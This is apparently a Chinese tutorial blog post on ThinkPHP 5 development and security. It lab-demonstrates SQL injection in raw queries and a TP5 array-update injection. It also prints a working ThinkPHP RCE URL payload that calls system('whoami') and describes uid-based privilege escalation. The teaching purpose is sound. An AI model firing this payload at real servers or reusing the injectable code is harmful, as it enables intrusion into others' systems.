当前位置: 首页 > news >正文

第27天 安全开发-PHP应用TP 框架路由访问对象操作内置过滤绕过核心漏洞

时间轴

演示案例

TP 框架-开发-配置架构&路由&MVC 模型
TP 框架-安全-不安全写法&版本过滤绕过

TP 框架-开发-配置架构&路由&MVC 模型

参考: https://www.kancloud.cn/manual/thinkphp5_1

1、配置架构-导入使用

去thinkphp官网可以看到,目前最新的版本是更新到了thinkphp8.0,但是本次演示案例用到的都是thinkphp5.1版本。
在使用一套框架之前,首先需要从官网导入源码,例如下图,将它导入到demo01文件夹下。
可以在ThinkPHP—>thinkphp—>base.php中查看当前框架的版本。
在使用框架进行开发以前,需要先解析目录(不能直接访问),在phpstudy中将它指向ThinkPHP下的public目录
接下来尝试用ip访问,可以看到
在刚才public路径下可以看到一个index.php文件,其中又定义了一个应用目录application,在官网手册中也可以看到index.php是入口文件。
找到application—>index—>controller下的index.php,尝试修改其中的代码,看看回显出来的页面是否也会改变。
把代码改成下图中的内容:
可以看到网页回显123

2、路由访问-URL 访问

通过下图,可以看到模块指的就是application下的index目录,控制器指的是index目录下的index.php,操作指index.php中的function index()。因此也就可以用ip/index.php/index/index来访问。
当增加一个操作xiaodi,就可以用ip/index.php/index/index/xiaodi来访问
可以认定为:ip/index.php(在index文件下的)/index(目录)/index(文件)/index(函数)

非官方写法访问方式

当使用非官方的写法访问时,可以看到只能用?x=1来访问,而当使用/x/1时访问报错。

官方写法访问方式

当使用官方写法访问时,?name=12可以访问,/name/12也可以访问

<?php
namespace app\index\controller;
use think\Controller;
use think\Request;class Index extends Controller
{public function index(){return '123';}public function xiaodi(){return $this->request->param('name');}}
?>

MVC模型

对应model(模板) view(视图) controller(控制器)

其中核心代码文件在controller中

3、数据库操作-应用对象

连接数据库

首先在application下找到database.php文件

修改database(数据库名)为demo01,username为root,密码123456,端口号3306,其余根据自己需求修改。

查询数据库

在navicat中找到之前创建的news表格

在ThinkPHP—>application下新建一个test文件夹,并在这个文件夹下创建controller文件夹,其中包含Test.php

非官方写法

以之前的news.php为例

<?php
include 'config.php';
//读取news.html中的内容
$template=file_get_contents('news.html');$id=$_GET['id'] ?? '1';
$sql="select * from news where id=$id";
echo $sql;
$data=mysqli_query($con,$sql);
while($row=mysqli_fetch_row($data)){$page_title=$row[1];$heading=$row[2];$subheading=$row[3];$content=$row[4];$item=$row[5];
}$template=str_replace('{page_title}',$page_title,$template);
$template=str_replace('{heading}',$heading,$template);
$template=str_replace('{subheading}',$subheading,$template);
$template=str_replace('{content}',$content,$template);
$template=str_replace('{$item}',$item,$template);eval('?>'.$template);
//eval函数会将传递给它的字符串作为PHP代码执行,即将?>连接到$template的开头,再执行该字符串
?> 

当执行?id=1 and 1=1时,可以看到这个值会被接收

当输入?id=2时会出现报错

官方写法
<?php
namespace app\Test\controller;
use think\Db;
use think\Controller;class Test extends Controller
{public function testsql(){//使用tp框架操作mysql数据库//SELECT * FROM `think_user` WHERE  `id` = 1 LIMIT 1//规矩写法$id = request()->param('x');$data = Db::table('news')->where('id', $id)->find();return json($data);}
}
?>

当输入ip/index.php/test/test/testsql/x/1去查询这个数据库的时候,页面可以正常回显

并且可以发现,在/x/1后面输入任何东西都不会显示在页面上

结论

1.使用TP框架操作数据库时,默认是受到框架内置过滤保护的,而且方便开发。

2.原生态的数据库操作如果没有过滤就会受到SQL注入攻击。

4、文件上传操作-应用对象

首先在ThinkPHP—>public文件夹下新建一个upload.html,其中代码为

<form action="/index.php/test/test/upload" enctype="multipart/form-data" method="post"><input type="file" name="image" /> <br><input type="submit" value="上传" />
</form>

Test.php中代码改为

<?php
namespace app\Test\controller;
use think\Db;
use think\Controller;class Test extends Controller
{   public function testsql(){//使用tp框架操作mysql数据库//SELECT * FROM `think_user` WHERE  `id` = 1 LIMIT 1//规矩写法
//    $id=request()->param('x');
//      $data=Db::table('news')->where('id',$id)->find();//原生写法 有安全隐患//$id=request()->param('x');//$data=Db::query("select * from news where id=$id");$username = request()->get('username/a');db('admin')->insert(['username' => $username]);return 'Update success';//return json($data);
}public function upload(){// 获取表单上传文件 例如上传了001.jpg$file = request()->file('image');//获取表单上传文件// 移动到框架应用根目录/uploads/ 目录下$info = $file->validate(['size'=>1567800,'ext'=>'jpg,png,gif'])->move( '../uploads');if($info){// 成功上传后 获取上传信息// 输出 jpgecho $info->getExtension();// 输出 20160820/42a79759f284b767dfcb2a0197904287.jpgecho $info->getSaveName();// 输出 42a79759f284b767dfcb2a0197904287.jpgecho $info->getFilename();}else{// 上传失败获取错误信息echo $file->getError();}}
}

在ThinkPHP下创建uploads文件夹,用来存储接收的文件

由于phpstudy中的根目录就是public文件夹,因此可以直接用ip/upload.php来访问

当尝试上传图片时,就会跳转到以下页面

而当上传txt、docx等文件时,就会提醒文件后缀不允许

5、前端页面渲染-MVC 模型

在ThinkPHP—>application—>index下创建view文件夹,再在view下创建index文件夹,其中包含index.html和edit.html。

edit.html代码如下:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>sabiqudi</title>
</head>
<body>
kcnnqi
</body>
</html>

index.html代码如下:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>{$name}</title>
</head>
<body>
{$email}
</body>
</html>

index.php代码如下:

<?php
namespace app\index\controller;
use think\Request;
use think\Controller;class Index extends Controller
{   public function index(){//return 123;$this->assign('name','ThinkPHP');$this->assign('email','thinkphp@qq.com');// 或者批量赋值$this->assign(['name'  => 'ThinkPHP','email' => 'thinkphp@qq.com']);// 模板输出return $this->fetch('');//更改要渲染的页面
}
}

当index.php中为return $this->fetch('');时,默认渲染index.html,访问后页面如下:

当index.php中为return $this->fetch('edit');时,渲染edit.html,访问后页面如下:

TP 框架-安全-不安全写法&版本过滤绕过

1、内置代码写法

例子:不合规的代码写法-TP5-自写

当使用原生写法时,可以看到x后的内容被改变后仍然可以执行
而用规矩写法时,无论在x后输入什么,页面都不会改变
也就是分为官方规矩写法、用了一半安全写法、纯原生写法三种类型。

2、框架版本安全

例子 1:写法内置安全绕过-TP5-SQL 注入

参考文章:https://www.cnblogs.com/Yhck/p/15808056.html

可以看到,由于这个漏洞出现的版本是5.0.13-5.0.15,5.1.0-5.1.5,所以后续会用到5.0.14版本进行演示。下面先用5.0.22版本做一个对比。

由于5.0.22版本不在漏洞适用范围之内,可以看到页面返回为null

之后用5.0.14版本演示,先在phpstudy中更改路径为5.0.14中的public文件夹

为了看是否指向正确,可以让代码输出123来检验

<?php
namespace app\index\controller;class Index
{public function index(){echo 123;}
}

之后也是配置数据库

将index.php中的代码改为

<?php
namespace app\index\controller;class Index
{public function index(){$username = request()->get('username/a');db('users')->where("id")->update(['username'=> $username]);}
}

按照下面的命令访问

发现虽然报错,但是直接爆出了数据库名demo01

例子 2:内置版本安全漏洞-TP5-代码执行

以当前版本5.0.22为例
在ip后面输入/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami,可以得到:
因此可以得到结论,用纯原生写法或者用一半的安全写法都不是安全的,用官方写法看似安全,但如果使用的版本本身存在漏洞,也可以利用这个漏洞进行攻击。

逻辑越权(类似于linux中的用户等级)

如下图,假设管理员的uid=1,普通会员的uid=100。当使用select * from users where username=‘admin’来取出uid结果时,如果uid=1,则展示管理员页面。

而在逻辑越权时,经常需要修改用户id编号,这个id编号也就类似于uid。当把uid=100修改成了uid=1,也就使普通用户变成了管理员,即实现了权限地跨越。
当使用discuz注册一个用户时,可以看到有adminid和groupid,系统就是以这两个来区分管理员和普通用户。当修改adminid=1、groupid=1后,就可以实现逻辑越权,从普通用户变成管理员。
本文章由李豆豆喵和番薯小羊卷~共同完成。

相关文章:

第27天 安全开发-PHP应用TP 框架路由访问对象操作内置过滤绕过核心漏洞

时间轴 演示案例 TP 框架-开发-配置架构&路由&MVC 模型 TP 框架-安全-不安全写法&版本过滤绕过 TP 框架-开发-配置架构&路由&MVC 模型 参考&#xff1a; https://www.kancloud.cn/manual/thinkphp5_1 1、配置架构-导入使用 去thinkphp官网可以看到&…...

应用系统开发(12) Zync中实现数字相敏检波

在 Xilinx Zynq 系列(如 Zynq-7000 或 Zynq UltraScale+)中实现数字相敏检波(DSP,Digital Synchronous Detection)可以通过硬件(PL部分,FPGA逻辑)和软件(PS部分,ARM Cortex-A 处理器)的协同工作来实现。以下是一个详细的设计方法,包括基本原理和 Zynq 的实现步骤。…...

栈Stack和队列Queue

目录 一、栈 &#xff08;1&#xff09;用数组实现 &#xff08;2&#xff09;用单链表实现 &#xff08;3&#xff09;用标注尾结点的单链表实现 &#xff08;4&#xff09;用双向链表实现 2、栈的实际应用 &#xff08;1&#xff09;改变元素的序列 &#xff08;2&am…...

uniapp 微信小程序地图标记点、聚合点/根据缩放重合点,根据缩放登记显示气泡marik标点

如图&#xff0c;如果要实现上方的效果&#xff1a; 上方两个效果根据经纬度标记点缩放后有重复点会添加数量 用到的文档地址https://developers.weixin.qq.com/miniprogram/dev/api/media/map/MapContext.addMarkers.htmlMapContext.addMarkers(Object object) 添加标记点Ma…...

Percona XtraBackup备份docker版本mysql 5.7

my.cnf配置文件 [client] default_character_setutf8[mysqld] # 数据存储目录&#xff08;必须手动指定&#xff09; datadir/var/lib/mysql/data# 字符集 collation_server utf8_general_ci character_set_server utf8 # 二进制日志 server-id1 log_bin/var/log/mysql/binl…...

C++:关联式容器的介绍及map与set的使用

我们之前已经学习过string,vector,list,queue,priority_queue等容器&#xff0c;这些容器我们统称为序列式容器&#xff0c;因为它们的数据的逻辑结构呈线性。因为这些容器中存储的数据即便二者之间发生交换&#xff0c;也不会对原有的容器结构造成太大影响。 但上篇文章我们介…...

一文说清:Linux下C++静态库的封装和调用

一 引言 《一文说清&#xff1a;windows下C静态库的封装和调用》中说了&#xff1a; 静态库允许开发者在多个项目中复用代码&#xff0c;减少重复劳动&#xff0c;并增强程序的可维护性。并讲述了windows环境下创建、封装以及调用C静态库的过程。 本文则描述了&#xff0c;如…...

【Java 学习】数据类型、变量、运算符、条件控制语句

Java基础语法 1. 打印 Hello World !2. 变量类和数据类型2.1 什么是变量&#xff1f;什么是数据类型&#xff1f;2.2 常用的数据类型2.3 使用变量2.4 String 类数据类型2.4.1 String 类基本概念2.4.2 String 类的使用 3. 运算符3.1 算数运算符3.2 关系运算符3.3 逻辑运算符3.4 …...

【软考】系统架构设计师-数据库设计基础

数据库核心考点 三级模式-两级映射 外模式--视图 概念模式--表&#xff08;模式、基本表&#xff09; 内模式--物理文件 数据库设计 概念结构设计&#xff1a;属性冲突、命名冲突、结构冲突 逻辑结构设计&#xff1a;关系模式&#xff08;层次模型、网络模型&#xff09…...

【Jmeter相关】

Jmeter 可以作为接口测试问题&#xff0c;也会涉及到性能相关的问题 一、JMeter中用户定义的变量(User Defined Variables&#xff09;和用户参 数&#xff08;User Parameters&#xff09;的区别是什么? 在JMeter中都是用于定义和存储测试数据的方法&#xff0c;但它们有一…...

拍立淘按图搜索API接口系列,返回示例图参考

拍立淘按图搜索API接口允许用户通过上传图片来搜索相似的商品&#xff0c;该接口返回的通常是一个JSON格式的响应&#xff0c;其中包含了与上传图片相似的商品信息。以下是一个基于淘宝平台的拍立淘按图搜索API接口返回数据的JSON格式示例&#xff0c;同时提供对其关键字段的解…...

OSG开发笔记(三十二):深入理解相机视口、制作支持与主视图同步变换旋转的相机HUD

​若该文为原创文章&#xff0c;未经允许不得转载 本文章博客地址&#xff1a;https://blog.csdn.net/qq21497936/article/details/143852695 各位读者&#xff0c;知识无穷而人力有穷&#xff0c;要么改需求&#xff0c;要么找专业人士&#xff0c;要么自己研究 长沙红胖子Qt…...

2024RISC-V中国峰会 演讲幻灯片和视频回放均已公开

目录 一、幻灯片地址: 二、演讲视频: 一、幻灯片地址: RVSC2024/slides at main cnrv/RVSC2024 GitHub 二、演讲视频: RISC-V国际基金会的个人空间-RISC-V国际基金会个人主页-哔哩哔哩视频...

河道无人机雷达测流监测系统由哪几部分组成?

在现代水利管理中&#xff0c;河道无人机雷达监测系统正逐渐成为一种重要的工具&#xff0c;为河道的安全和管理提供了强大的技术支持。那么&#xff0c;这个先进的监测系统究竟由哪几部分组成呢&#xff1f; 河道无人机雷达监测系统工作原理 雷达传感器通过发射电磁波或激光束…...

28.<Spring博客系统⑤(部署的整个过程(CentOS))>

引入依赖 Spring-boot-maven-plugin 用maven进行打包的时候必须用到这个插件。看看自己pom.xml中有没有这个插件 并且看看配置正确不正常。 注&#xff1a;我们这个项目打的jar包在30MB左右。 <plugin><groupId>org.springframework.boot</groupId><artif…...

OpenAI震撼发布:桌面版ChatGPT,Windows macOS双平台AI编程体验!

【雪球导读】 「OpenAI推出ChatGPT桌面端」 OpenAI重磅推出ChatGPT桌面端&#xff0c;全面支持Windows和macOS系统&#xff01;这款新工具为用户在日常生活和工作中提供了前所未有的无缝交互体验。对于那些依赖桌面端进行开发工作的专业人士来说&#xff0c;这一更新带来了令人…...

香港站群服务器有助于提升网站在搜索引擎中的排名

拥有253个IP的服务器通常被称为多IP站群服务器。这种服务器架构主要用于集中管理多个网站&#xff0c;允许网站管理员通过一个后台管理系统来高效管理和更新这些网站。 一、主要特点 集中管理&#xff1a;多IP站群服务器通过统一的后台管理系统&#xff0c;可以实现对多个网站…...

YOLOX:使用自己数据集训练模型及改进--1.YOLOX环境搭建及运行

YOLOX环境搭建及运行 YOLO X网络架构是继YOLO v5后,由旷视科技于2021年提出的新一代anthor-free模型,研究者将网络分为输入端、Backbone、PAFPN及Predication,并在Predication提出Decoupled Head、Anchor-free和Multi positives(后文会详细介绍)。 本篇文章介绍如何通过官…...

PyTorch使用教程-深度学习框架

PyTorch使用教程-深度学习框架 1. PyTorch简介 1.1-什么是PyTorch ​ PyTorch是一个广泛使用的开源机器学习框架&#xff0c;特别适合深度学习的应用。它以其动态计算图而闻名&#xff0c;允许在运行时修改模型&#xff0c;使得实验和调试更加灵活。PyTorch提供了强大的GPU加…...

TON商城与Telegram App:生态融合与去中心化未来的精彩碰撞

随着区块链技术的快速发展&#xff0c;去中心化应用&#xff08;DApp&#xff09;逐渐成为了数字生态的重要组成部分。而Telegram作为全球领先的即时通讯应用&#xff0c;不仅仅满足于传统的社交功能&#xff0c;更在区块链领域大胆探索&#xff0c;推出了基于其去中心化网络的…...

“乐鑫组件注册表”简介

当启动一个新的开发项目时&#xff0c;开发者们通常会利用库和驱动程序等现有的代码资源。这种做法不仅节省时间&#xff0c;还简化了项目的维护工作。本文将深入探讨乐鑫组件注册表的概念及其核心理念&#xff0c;旨在指导您高效地使用和贡献组件。 概念解析 ESP-IDF 的架构…...

凹凸/高度贴图、法线贴图、视差贴图、置换贴图异同

参考&#xff1a; 凹凸贴图、法线贴图、置换贴图-CSDN博客 视差贴图 - LearnOpenGL CN 1,Learn about Parallax(视差贴图) - 知乎 “视差贴图”的工作流程及原理(OpenGL) - 哔哩哔哩 法线与置换贴图原理讲解以及烘焙制作&#xff01; - 知乎 1. Bump Mapping 凹凸贴图 BumpMap…...

ZSTD 内存泄漏问题

优质博文&#xff1a;IT-BLOG-CN Zstandard&#xff08;简称zstd&#xff09;是一种无损压缩算法&#xff0c;由Facebook开发并开源。它旨在提供高压缩比和高解压速度的平衡&#xff0c;适用于多种数据压缩需求。 特点 【1】高压缩比&#xff1a; zstd能够在保持较高压缩比的…...

c# npoi操作excel

今天在弄使用npoi对excel表的操作&#xff0c;遇到个问题就是使用workbook通过filestream打开后&#xff0c;让后workbook.write(filestream)居然报文件流关闭了&#xff0c;无法写入&#xff0c;弄了好久都不行&#xff0c;最后通过写2个excel文件来解决&#xff0c;现在看来我…...

十二:HTTP错误响应码:理解与应对

在现代网络技术中,HTTP(超文本传输协议)是浏览器与服务器之间沟通的基础。每当我们访问网站或发送请求,HTTP会返回一个响应码,这些代码不仅可以表示成功,还可以指示各种问题。本文将以HTTP错误响应码为主题,探讨其含义、常见类型及应对措施。 1. 400 Bad Request - 请求…...

Rust学习(六):函数式编程

Rust学习&#xff08;六&#xff09;&#xff1a;函数式编程 我们在前一篇博客中已经介绍了如何通过trait和impl实现Rust的面向对象编程&#xff0c;但是Rust本身实际上并不提倡通过类来解决问题。Rust推崇的是函数式编程&#xff0c;强调将函数作为参数值或者其他函数的返回值…...

使用 Vue 和 Create-Vue 构建工程化前端项目

目录 前言1. 工程化的意义与 Vue 的生态支持2. 搭建 Vue 工程化项目2.1 环境准备2.2 使用 create-vue 创建项目2.2.1 初始化项目2.2.2 安装依赖2.2.3 本地运行 3. Vue 项目的目录结构解析4. Vue 开发流程详解4.1 项目入口与根组件4.1.1 main.js 的作用4.1.2 App.vue 的结构 4.2…...

opencv图片明暗度判断方法

OpenCV 的LAB 颜色空间&#xff08;也称为 CIELAB&#xff09;是一种颜色对手的颜色模型&#xff0c;它旨在模仿人类的色彩感知。LAB 颜色空间由三个分量组成&#xff1a; L: 亮度分量 (Lightness)&#xff0c;范围从 0&#xff08;黑色&#xff09;到 100&#xff08;白色&…...

QT6学习第三天

QT6学习第三天 第一个Widgets项目创建项目项目界面简单介绍编译文件介绍 我在第一天中将重点标了颜色&#xff0c;后边我把一些简单的东西都不写了&#xff0c;写了的都是实际用的东西&#xff0c;就不标颜色了。 第一个Widgets项目 首先我们创建一个widgets项目&#xff0c;…...

计算机网络-MSTP基础实验一(单域多实例)

前面我们已经大致了解了MSTP的基本概念和工作原理&#xff0c;但是我自己也觉得MSTP的理论很复杂不结合实验是很难搞懂的&#xff0c;今天来做一个配套的小实验以及一些配置命令。 一、网络拓扑 单域多实例拓扑 基本需求&#xff1a;SW1为VLAN10的网关&#xff0c;SW2为VLAN20的…...

国内有名的网站设计公司/seo职位招聘

话说前头 webpack前段时间有听说一下&#xff0c;现在已经到了3.x的版本&#xff0c;自己没去接触。因为之前使用gulp来作为自己的项目构建工具。现在感觉gulp使用的趋势在减少。现在这段时间去接触了webpack&#xff0c;感觉很不错&#xff0c;它的模块化打包机制&#xff0c;…...

网站警察备案/苏州网站建设方案

在项目中遇到了一个性能问题vueelementUI table表格展示数据&#xff0c;当数据很多的时候&#xff0c;不能一页显示完&#xff0c;同时一次请求数据量太大&#xff0c;会增加网页渲染的时间&#xff0c;影响体验&#xff0c;这个时候常常有两种方法处理&#xff0c;1、分页&am…...

有哪些专门做写字楼的网站/网络优化的内容包括哪些

C语言的一本經典教材内容&#xff0c;是以FAQ的方式得出495个C语言易错误的事例&#xff0c;很合适学习培训和招聘面试用&#xff0c;这书构造清楚&#xff0c;解读深入&#xff0c;是各高等院校有关技术专业C语言课程内容非常好的课堂教学教材&#xff0c;也是核心层C语言程序…...

隐藏wordpress文章/2020 惠州seo服务

内存&#xff08;Memory&#xff09;是计算机中最重要的部件之一&#xff0c;计算机运时的程序以及数据都依赖它进行存储。内存主要分为随机存储器&#xff08;RAM&#xff09;,只读存储器&#xff08;ROM&#xff09;以及高速缓存&#xff08;Cache&#xff09;。仅仅雷达的原…...

wordpress建站多个域名/上海牛巨微seo

随着全国疫情防控形势持续向好&#xff0c;企业复工复产势头强劲。伴随着夏季的来临&#xff0c;光伏发电也即将进入使用高峰&#xff0c;安全生产压力也随之加大。如何保证光伏发电设备运行与检修安全&#xff0c;成为光伏人最近关注的重点问题。光伏发电系统主要组成部分包括…...

wordpress分享qq/永州网络推广

求二叉树第k层的节点个数 思路&#xff1a;求第k层节点数量&#xff0c;等于求以根节点的左孩子为根的k-1层节点数&#xff0c;加上以根节点的右孩子为根的k-1层节点数。 /*** 求二叉树第k层的节点个数** param root* param k* return*/public int getNodeNumKthLevel(TreeNode…...